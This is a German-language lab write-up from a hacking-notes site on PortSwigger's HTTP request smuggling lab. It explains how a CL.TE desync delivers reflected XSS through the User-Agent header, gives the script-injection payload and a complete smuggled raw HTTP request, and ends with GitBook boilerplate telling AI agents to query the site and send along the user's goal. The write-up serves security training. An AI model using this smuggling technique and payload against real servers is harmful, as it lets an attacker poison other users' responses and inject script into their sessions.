> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# HTTP-Smuggling ausnutzen, um reflektiertes XSS auszuliefern

### Ausnutzen von HTTP-Request-Smuggling, um reflektiertes XSS auszuliefern

Das Labor richtet einen Front-End-Server und einen Back-End-Server ein. / Das Front-End **unterstützt keine Chunked-Codierung**, was den Weg für einen Angriff von **HTTP-Request-Smuggling**.

Die Anwendung weist außerdem eine Schwachstelle auf: **Reflektiertes XSS über den User-Agent-Header**.

Das Ziel ist es, **einen geschmuggelten** Request an das Back-End zu senden, sodass **die Anfrage des nächsten Opfers eine Antwort erhält, die eine laufende XSS-Payload enthält `alert(1)`**.

Das Labor erzeugt regelmäßig Anfragen für das

### XSS-Schwachstelle im User-Agent

Das `userAgent` Feld in den Formularen wird direkt in der Antwort wiederverwendet, was eine Injektion ermöglicht:

<figure><img src="/files/c381a492119c903e7b7a044dec62c9756c2f460b" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Diese Nutzlast wird akzeptiert und interpretiert, was die XSS-Schwachstelle bestätigt.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="/files/36b7c498568882f9e68378ede1f2b114726a0965" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6adaf29e5a52577b0dad266e44a74ea835bf7d79" alt=""><figcaption></figcaption></figure>

### **Angriffsziel**

Die Idee ist, das Smuggling zu nutzen, um sicherzustellen, dass:

1. Das Front-End liest die Anfrage gemäß **Content-Length**.
2. Das Back-End liest gemäß **Transfer-Encoding: chunked**.
3. Die geschmuggelte Anfrage verändert die nächste Anfrage des Opferbenutzers.
4. Der Server gibt dann eine Antwort zurück, die unsere XSS-Payload im User-Agent-Header enthält.

### **Geschmuggelte Anwendungsanfrage**

Sie schlagen eine POST-Anfrage mit einem leeren Body vor (`0/r/n/r/n`) um den Chunked-Teil zu beenden, gefolgt von der Anfrage an das Back-End

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Diese zweite Anfrage (geschmuggelt) wird vom Back-End als Teil der nächsten Anfrage — der des Opferbenutzers — interpretiert, wodurch die XSS-Payload in die Antwort injiziert werden kann, die es erhält.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
